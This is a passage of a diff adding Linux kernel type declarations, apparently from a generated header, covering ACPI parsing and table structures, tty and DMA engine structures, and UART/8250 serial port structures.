+ u8 descriptor_type; + u8 flags; + u16 aml_opcode; + u8 *aml; + union acpi_parse_object *next; + struct acpi_namespace_node *node; + union acpi_parse_value value; + u8 arg_list_length; +}; + +struct acpi_parse_obj_named { + union acpi_parse_object *parent; + u8 descriptor_type; + u8 flags; + u16 aml_opcode; + u8 *aml; + union acpi_parse_object *next; + struct acpi_namespace_node *node; + union acpi_parse_value value; + u8 arg_list_length; + char *path; + u8 *data; + u32 length; + u32 name; +}; + +struct acpi_parse_obj_asl { + union acpi_parse_object *parent; + u8 descriptor_type; + u8 flags; + u16 aml_opcode; + u8 *aml; + union acpi_parse_object *next; + struct acpi_namespace_node *node; + union acpi_parse_value value; + u8 arg_list_length; + union acpi_parse_object *child; + union acpi_parse_object *parent_method; + char *filename; + u8 file_changed; + char *parent_filename; + char *external_name; + char *namepath; + char name_seg[4]; + u32 extra_value; + u32 column; + u32 line_number; + u32 logical_line_number; + u32 logical_byte_offset; + u32 end_line; + u32 end_logical_line; + u32 acpi_btype; + u32 aml_length; + u32 aml_subtree_length; + u32 final_aml_length; + u32 final_aml_offset; + u32 compile_flags; + u16 parse_opcode; + u8 aml_opcode_length; + u8 aml_pkg_len_bytes; + u8 extra; + char parse_op_name[20]; +}; + +union acpi_parse_object { + struct acpi_parse_obj_common common; + struct acpi_parse_obj_named named; + struct acpi_parse_obj_asl asl; +}; + +struct acpi_scope_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + struct acpi_namespace_node *node; +}; + +struct acpi_pscope_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u32 arg_count; + union acpi_parse_object *op; + u8 *arg_end; + u8 *pkg_end; + u32 arg_list; +}; + +struct acpi_thread_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u8 current_sync_level; + struct acpi_walk_state *walk_state_list; + union acpi_operand_object *acquired_mutex_list; + u64 thread_id; +}; + +struct acpi_result_values { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + union acpi_operand_object *obj_desc[8]; +}; + +struct acpi_global_notify_handler { + acpi_notify_handler handler; + void *context; +}; + +struct acpi_notify_info { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u8 handler_list_id; + struct acpi_namespace_node *node; + union acpi_operand_object *handler_list_head; + struct acpi_global_notify_handler *global; +}; + +union acpi_generic_state { + struct acpi_common_state common; + struct acpi_control_state control; + struct acpi_update_state update; + struct acpi_scope_state scope; + struct acpi_pscope_state parse_scope; + struct acpi_pkg_state pkg; + struct acpi_thread_state thread; + struct acpi_result_values results; + struct acpi_notify_info notify; +}; + +struct acpi_address_range { + struct acpi_address_range *next; + struct acpi_namespace_node *region_node; + acpi_physical_address start_address; + acpi_physical_address end_address; +}; + +struct acpi_opcode_info { + u32 parse_args; + u32 runtime_args; + u16 flags; + u8 object_type; + u8 class; + u8 type; +}; + +struct acpi_comment_node { + char *comment; + struct acpi_comment_node *next; +}; + +struct acpi_bit_register_info { + u8 parent_register; + u8 bit_position; + u16 access_bit_mask; +}; + +struct acpi_interface_info { + char *name; + struct acpi_interface_info *next; + u8 flags; + u8 value; +}; + +enum { + ACPI_REFCLASS_LOCAL = 0, + ACPI_REFCLASS_ARG = 1, + ACPI_REFCLASS_REFOF = 2, + ACPI_REFCLASS_INDEX = 3, + ACPI_REFCLASS_TABLE = 4, + ACPI_REFCLASS_NAME = 5, + ACPI_REFCLASS_DEBUG = 6, + ACPI_REFCLASS_MAX = 6, +}; + +struct acpi_common_descriptor { + void *common_pointer; + u8 descriptor_type; +}; + +union acpi_descriptor { + struct acpi_common_descriptor common; + union acpi_operand_object object; + struct acpi_namespace_node node; + union acpi_parse_object op; +}; + +struct acpi_name_info { + char name[4]; + u16 argument_list; + u8 expected_btypes; +} __attribute__((packed)); + +struct acpi_package_info { + u8 type; + u8 object_type1; + u8 count1; + u8 object_type2; + u8 count2; + u16 reserved; +} __attribute__((packed)); + +struct acpi_package_info2 { + u8 type; + u8 count; + u8 object_type[4]; + u8 reserved; +}; + +struct acpi_package_info3 { + u8 type; + u8 count; + u8 object_type[2]; + u8 tail_object_type; + u16 reserved; +} __attribute__((packed)); + +struct acpi_package_info4 { + u8 type; + u8 object_type1; + u8 count1; + u8 sub_object_types; + u8 pkg_count; + u16 reserved; +} __attribute__((packed)); + +union acpi_predefined_info { + struct acpi_name_info info; + struct acpi_package_info ret_info; + struct acpi_package_info2 ret_info2; + struct acpi_package_info3 ret_info3; + struct acpi_package_info4 ret_info4; +}; + +struct acpi_evaluate_info { + struct acpi_namespace_node *prefix_node; + const char *relative_pathname; + union acpi_operand_object **parameters; + struct acpi_namespace_node *node; + union acpi_operand_object *obj_desc; + char *full_pathname; + const union acpi_predefined_info *predefined; + union acpi_operand_object *return_object; + union acpi_operand_object *parent_package; + u32 return_flags; + u32 return_btype; + u16 param_count; + u16 node_flags; + u8 pass_number; + u8 return_object_type; + u8 flags; +}; + +struct acpi_table_rsdp { + char signature[8]; + u8 checksum; + char oem_id[6]; + u8 revision; + u32 rsdt_physical_address; + u32 length; + u64 xsdt_physical_address; + u8 extended_checksum; + u8 reserved[3]; +} __attribute__((packed)); + +typedef u32 acpi_mutex_handle; + +enum acpi_cedt_type { + ACPI_CEDT_TYPE_CHBS = 0, + ACPI_CEDT_TYPE_CFMWS = 1, + ACPI_CEDT_TYPE_CXIMS = 2, + ACPI_CEDT_TYPE_RDPAS = 3, + ACPI_CEDT_TYPE_RESERVED = 4, +}; + +struct acpi_cedt_cfmws { + struct acpi_cedt_header header; + u32 reserved1; + u64 base_hpa; + u64 window_size; + u8 interleave_ways; + u8 interleave_arithmetic; + u16 reserved2; + u32 granularity; + u16 restrictions; + u16 qtg_id; + u32 interleave_targets[0]; +} __attribute__((packed)); + +struct acpi_table_slit { + struct acpi_table_header header; + u64 locality_count; + u8 entry[1]; +} __attribute__((packed)); + +struct acpi_table_srat { + struct acpi_table_header header; + u32 table_revision; + u64 reserved; +}; + +enum acpi_srat_type { + ACPI_SRAT_TYPE_CPU_AFFINITY = 0, + ACPI_SRAT_TYPE_MEMORY_AFFINITY = 1, + ACPI_SRAT_TYPE_X2APIC_CPU_AFFINITY = 2, + ACPI_SRAT_TYPE_GICC_AFFINITY = 3, + ACPI_SRAT_TYPE_GIC_ITS_AFFINITY = 4, + ACPI_SRAT_TYPE_GENERIC_AFFINITY = 5, + ACPI_SRAT_TYPE_GENERIC_PORT_AFFINITY = 6, + ACPI_SRAT_TYPE_RESERVED = 7, +}; + +struct acpi_srat_cpu_affinity { + struct acpi_subtable_header header; + u8 proximity_domain_lo; + u8 apic_id; + u32 flags; + u8 local_sapic_eid; + u8 proximity_domain_hi[3]; + u32 clock_domain; +}; + +struct acpi_srat_mem_affinity { + struct acpi_subtable_header header; + u32 proximity_domain; + u16 reserved; + u64 base_address; + u64 length; + u32 reserved1; + u32 flags; + u64 reserved2; +} __attribute__((packed)); + +struct acpi_srat_x2apic_cpu_affinity { + struct acpi_subtable_header header; + u16 reserved; + u32 proximity_domain; + u32 apic_id; + u32 flags; + u32 clock_domain; + u32 reserved2; +}; + +struct acpi_srat_gicc_affinity { + struct acpi_subtable_header header; + u32 proximity_domain; + u32 acpi_processor_uid; + u32 flags; + u32 clock_domain; +} __attribute__((packed)); + +struct acpi_srat_generic_affinity { + struct acpi_subtable_header header; + u8 reserved; + u8 device_handle_type; + u32 proximity_domain; + u8 device_handle[16]; + u32 flags; + u32 reserved1; +}; + +typedef int (*acpi_tbl_entry_handler_arg)(union acpi_subtable_headers *, void *, const long unsigned int); + +struct acpi_subtable_proc { + int id; + acpi_tbl_entry_handler handler; + acpi_tbl_entry_handler_arg handler_arg; + void *arg; + int count; +}; + +struct ld_semaphore { + atomic_long_t count; + raw_spinlock_t wait_lock; + unsigned int wait_readers; + struct list_head read_wait; + struct list_head write_wait; + struct lockdep_map dep_map; +}; + +typedef unsigned int tcflag_t; + +typedef unsigned char cc_t; + +typedef unsigned int speed_t; + +struct ktermios { + tcflag_t c_iflag; + tcflag_t c_oflag; + tcflag_t c_cflag; + tcflag_t c_lflag; + cc_t c_line; + cc_t c_cc[19]; + speed_t c_ispeed; + speed_t c_ospeed; +}; + +struct winsize { + short unsigned int ws_row; + short unsigned int ws_col; + short unsigned int ws_xpixel; + short unsigned int ws_ypixel; +}; + +struct tty_operations; + +struct tty_ldisc; + +struct tty_struct { + struct kref kref; + struct device *dev; + struct tty_driver *driver; + const struct tty_operations *ops; + int index; + struct ld_semaphore ldisc_sem; + struct tty_ldisc *ldisc; + struct mutex atomic_write_lock; + struct mutex legacy_mutex; + struct mutex throttle_mutex; + struct rw_semaphore termios_rwsem; + struct mutex winsize_mutex; + struct ktermios termios; + struct ktermios termios_locked; + char name[64]; + long unsigned int flags; + int count; + struct winsize winsize; + struct { + spinlock_t lock; + bool stopped; + bool tco_stopped; + long unsigned int unused[0]; + } flow; + struct { + spinlock_t lock; + struct pid *pgrp; + struct pid *session; + unsigned char pktstatus; + bool packet; + long unsigned int unused[0]; + } ctrl; + bool hw_stopped; + unsigned int receive_room; + int flow_change; + struct tty_struct *link; + struct fasync_struct *fasync; + wait_queue_head_t write_wait; + wait_queue_head_t read_wait; + struct work_struct hangup_work; + void *disc_data; + void *driver_data; + spinlock_t files_lock; + struct list_head tty_files; + int closing; + unsigned char *write_buf; + int write_cnt; + struct work_struct SAK_work; + struct tty_port *port; +}; + +struct cdev { + struct kobject kobj; + struct module *owner; + const struct file_operations *ops; + struct list_head list; + dev_t dev; + unsigned int count; +}; + +struct serial_icounter_struct; + +struct serial_struct; + +struct tty_operations { + struct tty_struct * (*lookup)(struct tty_driver *, struct file *, int); + int (*install)(struct tty_driver *, struct tty_struct *); + void (*remove)(struct tty_driver *, struct tty_struct *); + int (*open)(struct tty_struct *, struct file *); + void (*close)(struct tty_struct *, struct file *); + void (*shutdown)(struct tty_struct *); + void (*cleanup)(struct tty_struct *); + int (*write)(struct tty_struct *, const unsigned char *, int); + int (*put_char)(struct tty_struct *, unsigned char); + void (*flush_chars)(struct tty_struct *); + unsigned int (*write_room)(struct tty_struct *); + unsigned int (*chars_in_buffer)(struct tty_struct *); + int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); + long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); + void (*set_termios)(struct tty_struct *, const struct ktermios *); + void (*throttle)(struct tty_struct *); + void (*unthrottle)(struct tty_struct *); + void (*stop)(struct tty_struct *); + void (*start)(struct tty_struct *); + void (*hangup)(struct tty_struct *); + int (*break_ctl)(struct tty_struct *, int); + void (*flush_buffer)(struct tty_struct *); + void (*set_ldisc)(struct tty_struct *); + void (*wait_until_sent)(struct tty_struct *, int); + void (*send_xchar)(struct tty_struct *, char); + int (*tiocmget)(struct tty_struct *); + int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); + int (*resize)(struct tty_struct *, struct winsize *); + int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); + int (*get_serial)(struct tty_struct *, struct serial_struct *); + int (*set_serial)(struct tty_struct *, struct serial_struct *); + void (*show_fdinfo)(struct tty_struct *, struct seq_file *); + int (*proc_show)(struct seq_file *, void *); +}; + +struct tty_driver { + struct kref kref; + struct cdev **cdevs; + struct module *owner; + const char *driver_name; + const char *name; + int name_base; + int major; + int minor_start; + unsigned int num; + short int type; + short int subtype; + struct ktermios init_termios; + long unsigned int flags; + struct proc_dir_entry *proc_entry; + struct tty_driver *other; + struct tty_struct **ttys; + struct tty_port **ports; + struct ktermios **termios; + void *driver_state; + const struct tty_operations *ops; + struct list_head tty_drivers; +}; + +struct tty_ldisc_ops { + char *name; + int num; + int (*open)(struct tty_struct *); + void (*close)(struct tty_struct *); + void (*flush_buffer)(struct tty_struct *); + ssize_t (*read)(struct tty_struct *, struct file *, unsigned char *, size_t, void **, long unsigned int); + ssize_t (*write)(struct tty_struct *, struct file *, const unsigned char *, size_t); + int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); + int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); + void (*set_termios)(struct tty_struct *, const struct ktermios *); + __poll_t (*poll)(struct tty_struct *, struct file *, struct poll_table_struct *); + void (*hangup)(struct tty_struct *); + void (*receive_buf)(struct tty_struct *, const unsigned char *, const char *, int); + void (*write_wakeup)(struct tty_struct *); + void (*dcd_change)(struct tty_struct *, bool); + int (*receive_buf2)(struct tty_struct *, const unsigned char *, const char *, int); + void (*lookahead_buf)(struct tty_struct *, const unsigned char *, const unsigned char *, unsigned int); + struct module *owner; +}; + +struct tty_ldisc { + struct tty_ldisc_ops *ops; + struct tty_struct *tty; +}; + +struct tty_port_operations { + bool (*carrier_raised)(struct tty_port *); + void (*dtr_rts)(struct tty_port *, bool); + void (*shutdown)(struct tty_port *); + int (*activate)(struct tty_port *, struct tty_struct *); + void (*destruct)(struct tty_port *); +}; + +struct tty_port_client_operations { + int (*receive_buf)(struct tty_port *, const unsigned char *, const unsigned char *, size_t); + void (*lookahead_buf)(struct tty_port *, const unsigned char *, const unsigned char *, unsigned int); + void (*write_wakeup)(struct tty_port *); +}; + +enum { + TTY_LOCK_NORMAL = 0, + TTY_LOCK_SLAVE = 1, +}; + +enum { + PCI_STD_RESOURCES = 0, + PCI_STD_RESOURCE_END = 5, + PCI_ROM_RESOURCE = 6, + PCI_IOV_RESOURCES = 7, + PCI_IOV_RESOURCE_END = 12, + PCI_BRIDGE_RESOURCES = 13, + PCI_BRIDGE_RESOURCE_END = 16, + PCI_NUM_RESOURCES = 17, + DEVICE_COUNT_RESOURCE = 17, +}; + +typedef unsigned int pcie_reset_state_t; + +typedef s32 dma_cookie_t; + +enum dma_status { + DMA_COMPLETE = 0, + DMA_IN_PROGRESS = 1, + DMA_PAUSED = 2, + DMA_ERROR = 3, + DMA_OUT_OF_ORDER = 4, +}; + +enum dma_transaction_type { + DMA_MEMCPY = 0, + DMA_XOR = 1, + DMA_PQ = 2, + DMA_XOR_VAL = 3, + DMA_PQ_VAL = 4, + DMA_MEMSET = 5, + DMA_MEMSET_SG = 6, + DMA_INTERRUPT = 7, + DMA_PRIVATE = 8, + DMA_ASYNC_TX = 9, + DMA_SLAVE = 10, + DMA_CYCLIC = 11, + DMA_INTERLEAVE = 12, + DMA_COMPLETION_NO_ORDER = 13, + DMA_REPEAT = 14, + DMA_LOAD_EOT = 15, + DMA_TX_TYPE_END = 16, +}; + +enum dma_transfer_direction { + DMA_MEM_TO_MEM = 0, + DMA_MEM_TO_DEV = 1, + DMA_DEV_TO_MEM = 2, + DMA_DEV_TO_DEV = 3, + DMA_TRANS_NONE = 4, +}; + +struct data_chunk { + size_t size; + size_t icg; + size_t dst_icg; + size_t src_icg; +}; + +struct dma_interleaved_template { + dma_addr_t src_start; + dma_addr_t dst_start; + enum dma_transfer_direction dir; + bool src_inc; + bool dst_inc; + bool src_sgl; + bool dst_sgl; + size_t numf; + size_t frame_size; + struct data_chunk sgl[0]; +}; + +enum dma_ctrl_flags { + DMA_PREP_INTERRUPT = 1, + DMA_CTRL_ACK = 2, + DMA_PREP_PQ_DISABLE_P = 4, + DMA_PREP_PQ_DISABLE_Q = 8, + DMA_PREP_CONTINUE = 16, + DMA_PREP_FENCE = 32, + DMA_CTRL_REUSE = 64, + DMA_PREP_CMD = 128, + DMA_PREP_REPEAT = 256, + DMA_PREP_LOAD_EOT = 512, +}; + +enum sum_check_bits { + SUM_CHECK_P = 0, + SUM_CHECK_Q = 1, +}; + +enum sum_check_flags { + SUM_CHECK_P_RESULT = 1, + SUM_CHECK_Q_RESULT = 2, +}; + +typedef struct { + long unsigned int bits[1]; +} dma_cap_mask_t; + +enum dma_desc_metadata_mode { + DESC_METADATA_NONE = 0, + DESC_METADATA_CLIENT = 1, + DESC_METADATA_ENGINE = 2, +}; + +struct dma_chan_percpu { + long unsigned int memcpy_count; + long unsigned int bytes_transferred; +}; + +struct dma_router { + struct device *dev; + void (*route_free)(struct device *, void *); +}; + +struct dma_device; + +struct dma_chan_dev; + +struct dma_chan { + struct dma_device *device; + struct device *slave; + dma_cookie_t cookie; + dma_cookie_t completed_cookie; + int chan_id; + struct dma_chan_dev *dev; + const char *name; + char *dbg_client_name; + struct list_head device_node; + struct dma_chan_percpu *local; + int client_count; + int table_count; + struct dma_router *router; + void *route_data; + void *private; +}; + +typedef bool (*dma_filter_fn)(struct dma_chan *, void *); + +struct dma_slave_map; + +struct dma_filter { + dma_filter_fn fn; + int mapcnt; + const struct dma_slave_map *map; +}; + +enum dmaengine_alignment { + DMAENGINE_ALIGN_1_BYTE = 0, + DMAENGINE_ALIGN_2_BYTES = 1, + DMAENGINE_ALIGN_4_BYTES = 2, + DMAENGINE_ALIGN_8_BYTES = 3, + DMAENGINE_ALIGN_16_BYTES = 4, + DMAENGINE_ALIGN_32_BYTES = 5, + DMAENGINE_ALIGN_64_BYTES = 6, + DMAENGINE_ALIGN_128_BYTES = 7, + DMAENGINE_ALIGN_256_BYTES = 8, +}; + +enum dma_residue_granularity { + DMA_RESIDUE_GRANULARITY_DESCRIPTOR = 0, + DMA_RESIDUE_GRANULARITY_SEGMENT = 1, + DMA_RESIDUE_GRANULARITY_BURST = 2, +}; + +struct dma_async_tx_descriptor; + +struct dma_slave_caps; + +struct dma_slave_config; + +struct dma_tx_state; + +struct dma_device { + struct kref ref; + unsigned int chancnt; + unsigned int privatecnt; + struct list_head channels; + struct list_head global_node; + struct dma_filter filter; + dma_cap_mask_t cap_mask; + enum dma_desc_metadata_mode desc_metadata_modes; + short unsigned int max_xor; + short unsigned int max_pq; + enum dmaengine_alignment copy_align; + enum dmaengine_alignment xor_align; + enum dmaengine_alignment pq_align; + enum dmaengine_alignment fill_align; + int dev_id; + struct device *dev; + struct module *owner; + struct ida chan_ida; + u32 src_addr_widths; + u32 dst_addr_widths; + u32 directions; + u32 min_burst; + u32 max_burst; + u32 max_sg_burst; + bool descriptor_reuse; + enum dma_residue_granularity residue_granularity; + int (*device_alloc_chan_resources)(struct dma_chan *); + int (*device_router_config)(struct dma_chan *); + void (*device_free_chan_resources)(struct dma_chan *); + struct dma_async_tx_descriptor * (*device_prep_dma_memcpy)(struct dma_chan *, dma_addr_t, dma_addr_t, size_t, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_xor)(struct dma_chan *, dma_addr_t, dma_addr_t *, unsigned int, size_t, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_xor_val)(struct dma_chan *, dma_addr_t *, unsigned int, size_t, enum sum_check_flags *, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_pq)(struct dma_chan *, dma_addr_t *, dma_addr_t *, unsigned int, const unsigned char *, size_t, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_pq_val)(struct dma_chan *, dma_addr_t *, dma_addr_t *, unsigned int, const unsigned char *, size_t, enum sum_check_flags *, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_memset)(struct dma_chan *, dma_addr_t, int, size_t, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_memset_sg)(struct dma_chan *, struct scatterlist *, unsigned int, int, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_interrupt)(struct dma_chan *, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_slave_sg)(struct dma_chan *, struct scatterlist *, unsigned int, enum dma_transfer_direction, long unsigned int, void *); + struct dma_async_tx_descriptor * (*device_prep_dma_cyclic)(struct dma_chan *, dma_addr_t, size_t, size_t, enum dma_transfer_direction, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_interleaved_dma)(struct dma_chan *, struct dma_interleaved_template *, long unsigned int); + struct dma_async_tx_descriptor * (*device_prep_dma_imm_data)(struct dma_chan *, dma_addr_t, u64, long unsigned int); + void (*device_caps)(struct dma_chan *, struct dma_slave_caps *); + int (*device_config)(struct dma_chan *, struct dma_slave_config *); + int (*device_pause)(struct dma_chan *); + int (*device_resume)(struct dma_chan *); + int (*device_terminate_all)(struct dma_chan *); + void (*device_synchronize)(struct dma_chan *); + enum dma_status (*device_tx_status)(struct dma_chan *, dma_cookie_t, struct dma_tx_state *); + void (*device_issue_pending)(struct dma_chan *); + void (*device_release)(struct dma_device *); + void (*dbg_summary_show)(struct seq_file *, struct dma_device *); + struct dentry *dbg_dev_root; +}; + +struct dma_chan_dev { + struct dma_chan *chan; + struct device device; + int dev_id; + bool chan_dma_dev; +}; + +enum dma_slave_buswidth { + DMA_SLAVE_BUSWIDTH_UNDEFINED = 0, + DMA_SLAVE_BUSWIDTH_1_BYTE = 1, + DMA_SLAVE_BUSWIDTH_2_BYTES = 2, + DMA_SLAVE_BUSWIDTH_3_BYTES = 3, + DMA_SLAVE_BUSWIDTH_4_BYTES = 4, + DMA_SLAVE_BUSWIDTH_8_BYTES = 8, + DMA_SLAVE_BUSWIDTH_16_BYTES = 16, + DMA_SLAVE_BUSWIDTH_32_BYTES = 32, + DMA_SLAVE_BUSWIDTH_64_BYTES = 64, + DMA_SLAVE_BUSWIDTH_128_BYTES = 128, +}; + +struct dma_slave_config { + enum dma_transfer_direction direction; + phys_addr_t src_addr; + phys_addr_t dst_addr; + enum dma_slave_buswidth src_addr_width; + enum dma_slave_buswidth dst_addr_width; + u32 src_maxburst; + u32 dst_maxburst; + u32 src_port_window_size; + u32 dst_port_window_size; + bool device_fc; + void *peripheral_config; + size_t peripheral_size; +}; + +struct dma_slave_caps { + u32 src_addr_widths; + u32 dst_addr_widths; + u32 directions; + u32 min_burst; + u32 max_burst; + u32 max_sg_burst; + bool cmd_pause; + bool cmd_resume; + bool cmd_terminate; + enum dma_residue_granularity residue_granularity; + bool descriptor_reuse; +}; + +typedef void (*dma_async_tx_callback)(void *); + +enum dmaengine_tx_result { + DMA_TRANS_NOERROR = 0, + DMA_TRANS_READ_FAILED = 1, + DMA_TRANS_WRITE_FAILED = 2, + DMA_TRANS_ABORTED = 3, +}; + +struct dmaengine_result { + enum dmaengine_tx_result result; + u32 residue; +}; + +typedef void (*dma_async_tx_callback_result)(void *, const struct dmaengine_result *); + +struct dmaengine_unmap_data { + u8 map_cnt; + u8 to_cnt; + u8 from_cnt; + u8 bidi_cnt; + struct device *dev; + struct kref kref; + size_t len; + dma_addr_t addr[0]; +}; + +struct dma_descriptor_metadata_ops { + int (*attach)(struct dma_async_tx_descriptor *, void *, size_t); + void * (*get_ptr)(struct dma_async_tx_descriptor *, size_t *, size_t *); + int (*set_len)(struct dma_async_tx_descriptor *, size_t); +}; + +struct dma_async_tx_descriptor { + dma_cookie_t cookie; + enum dma_ctrl_flags flags; + dma_addr_t phys; + struct dma_chan *chan; + dma_cookie_t (*tx_submit)(struct dma_async_tx_descriptor *); + int (*desc_free)(struct dma_async_tx_descriptor *); + dma_async_tx_callback callback; + dma_async_tx_callback_result callback_result; + void *callback_param; + struct dmaengine_unmap_data *unmap; + enum dma_desc_metadata_mode desc_metadata_mode; + struct dma_descriptor_metadata_ops *metadata_ops; +}; + +struct dma_tx_state { + dma_cookie_t last; + dma_cookie_t used; + u32 residue; + u32 in_flight_bytes; +}; + +struct dma_slave_map { + const char *devname; + const char *slave; + void *param; +}; + +struct dw_dma_slave { + struct device *dma_dev; + u8 src_id; + u8 dst_id; + u8 m_master; + u8 p_master; + u8 channels; + bool hs_polarity; +}; + +struct dw_dma_platform_data { + u32 nr_masters; + u32 nr_channels; + u32 chan_allocation_order; + u32 chan_priority; + u32 block_size; + u32 data_width[4]; + u32 multi_block[8]; + u32 max_burst[8]; + u32 protctl; + u32 quirks; +}; + +struct dw_dma; + +struct dw_dma_chip { + struct device *dev; + int id; + int irq; + void *regs; + struct clk *clk; + struct dw_dma *dw; + const struct dw_dma_platform_data *pdata; +}; + +struct circ_buf { + char *buf; + int head; + int tail; +}; + +struct serial_icounter_struct { + int cts; + int dsr; + int rng; + int dcd; + int rx; + int tx; + int frame; + int overrun; + int parity; + int brk; + int buf_overrun; + int reserved[9]; +}; + +struct serial_struct { + int type; + int line; + unsigned int port; + int irq; + int flags; + int xmit_fifo_size; + int custom_divisor; + int baud_base; + short unsigned int close_delay; + char io_type; + char reserved_char[1]; + int hub6; + short unsigned int closing_wait; + short unsigned int closing_wait2; + unsigned char *iomem_base; + short unsigned int iomem_reg_shift; + unsigned int port_high; + long unsigned int iomap_base; +}; + +struct sysrq_key_op { + void (* const handler)(int); + const char * const help_msg; + const char * const action_msg; + const int enable_mask; +}; + +struct serial_rs485 { + __u32 flags; + __u32 delay_rts_before_send; + __u32 delay_rts_after_send; + union { + __u32 padding[5]; + struct { + __u8 addr_recv; + __u8 addr_dest; + __u8 padding0[2]; + __u32 padding1[4]; + }; + }; +}; + +struct serial_iso7816 { + __u32 flags; + __u32 tg; + __u32 sc_fi; + __u32 sc_di; + __u32 clk; + __u32 reserved[5]; +}; + +struct uart_port; + +struct uart_ops { + unsigned int (*tx_empty)(struct uart_port *); + void (*set_mctrl)(struct uart_port *, unsigned int); + unsigned int (*get_mctrl)(struct uart_port *); + void (*stop_tx)(struct uart_port *); + void (*start_tx)(struct uart_port *); + void (*throttle)(struct uart_port *); + void (*unthrottle)(struct uart_port *); + void (*send_xchar)(struct uart_port *, char); + void (*stop_rx)(struct uart_port *); + void (*start_rx)(struct uart_port *); + void (*enable_ms)(struct uart_port *); + void (*break_ctl)(struct uart_port *, int); + int (*startup)(struct uart_port *); + void (*shutdown)(struct uart_port *); + void (*flush_buffer)(struct uart_port *); + void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); + void (*set_ldisc)(struct uart_port *, struct ktermios *); + void (*pm)(struct uart_port *, unsigned int, unsigned int); + const char * (*type)(struct uart_port *); + void (*release_port)(struct uart_port *); + int (*request_port)(struct uart_port *); + void (*config_port)(struct uart_port *, int); + int (*verify_port)(struct uart_port *, struct serial_struct *); + int (*ioctl)(struct uart_port *, unsigned int, long unsigned int); +}; + +struct uart_icount { + __u32 cts; + __u32 dsr; + __u32 rng; + __u32 dcd; + __u32 rx; + __u32 tx; + __u32 frame; + __u32 overrun; + __u32 parity; + __u32 brk; + __u32 buf_overrun; +}; + +typedef u64 upf_t; + +typedef unsigned int upstat_t; + +struct gpio_desc; + +struct uart_state; + +struct uart_port { + spinlock_t lock; + long unsigned int iobase; + unsigned char *membase; + unsigned int (*serial_in)(struct uart_port *, int); + void (*serial_out)(struct uart_port *, int, int); + void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); + void (*set_ldisc)(struct uart_port *, struct ktermios *); + unsigned int (*get_mctrl)(struct uart_port *); + void (*set_mctrl)(struct uart_port *, unsigned int); + unsigned int (*get_divisor)(struct uart_port *, unsigned int, unsigned int *); + void (*set_divisor)(struct uart_port *, unsigned int, unsigned int, unsigned int); + int (*startup)(struct uart_port *); + void (*shutdown)(struct uart_port *); + void (*throttle)(struct uart_port *); + void (*unthrottle)(struct uart_port *); + int (*handle_irq)(struct uart_port *); + void (*pm)(struct uart_port *, unsigned int, unsigned int); + void (*handle_break)(struct uart_port *); + int (*rs485_config)(struct uart_port *, struct ktermios *, struct serial_rs485 *); + int (*iso7816_config)(struct uart_port *, struct serial_iso7816 *); + unsigned int irq; + long unsigned int irqflags; + unsigned int uartclk; + unsigned int fifosize; + unsigned char x_char; + unsigned char regshift; + unsigned char iotype; + unsigned char quirks; + unsigned int read_status_mask; + unsigned int ignore_status_mask; + struct uart_state *state; + struct uart_icount icount; + struct console *cons; + upf_t flags; + upstat_t status; + bool hw_stopped; + unsigned int mctrl; + unsigned int frame_time; + unsigned int type; + const struct uart_ops *ops; + unsigned int custom_divisor; + unsigned int line; + unsigned int minor; + resource_size_t mapbase; + resource_size_t mapsize; + struct device *dev; + long unsigned int sysrq; + unsigned int sysrq_ch; + unsigned char has_sysrq; + unsigned char sysrq_seq; + unsigned char hub6; + unsigned char suspended; + unsigned char console_reinit; + const char *name; + struct attribute_group *attr_group; + const struct attribute_group **tty_groups; + struct serial_rs485 rs485; + struct serial_rs485 rs485_supported; + struct gpio_desc *rs485_term_gpio; + struct gpio_desc *rs485_rx_during_tx_gpio; + struct serial_iso7816 iso7816; + void *private_data; +}; + +enum uart_pm_state { + UART_PM_STATE_ON = 0, + UART_PM_STATE_OFF = 3, + UART_PM_STATE_UNDEFINED = 4, +}; + +struct uart_state { + struct tty_port port; + enum uart_pm_state pm_state; + struct circ_buf xmit; + atomic_t refcount; + wait_queue_head_t remove_wait; + struct uart_port *uart_port; +}; + +struct earlycon_device { + struct console *con; + struct uart_port port; + char options[32]; + unsigned int baud; +}; + +struct earlycon_id { + char name[15]; + char name_term; + char compatible[128]; + int (*setup)(struct earlycon_device *, const char *); +}; + +struct uart_8250_port; + +struct uart_8250_ops { + int (*setup_irq)(struct uart_8250_port *); + void (*release_irq)(struct uart_8250_port *); + void (*setup_timer)(struct uart_8250_port *); +}; + +struct mctrl_gpios; + +struct uart_8250_dma; + +struct uart_8250_em485; + +struct uart_8250_port { + struct uart_port port; + struct timer_list timer; + struct list_head list; + u32 capabilities; + short unsigned int bugs; + bool fifo_bug; + unsigned int tx_loadsz; + unsigned char acr; + unsigned char fcr; + unsigned char ier; + unsigned char lcr; + unsigned char mcr; + unsigned char cur_iotype; + unsigned int rpm_tx_active; + unsigned char canary; + unsigned char probe; + struct mctrl_gpios *gpios; + u16 lsr_saved_flags; + u16 lsr_save_mask; + unsigned char msr_saved_flags; + struct uart_8250_dma *dma; + const struct uart_8250_ops *ops; + int (*dl_read)(struct uart_8250_port *); + void (*dl_write)(struct uart_8250_port *, int); + struct uart_8250_em485 *em485; + void (*rs485_start_tx)(struct uart_8250_port *); + void (*rs485_stop_tx)(struct uart_8250_port *); + struct delayed_work overrun_backoff; + u32 overrun_backoff_time_ms; +}; 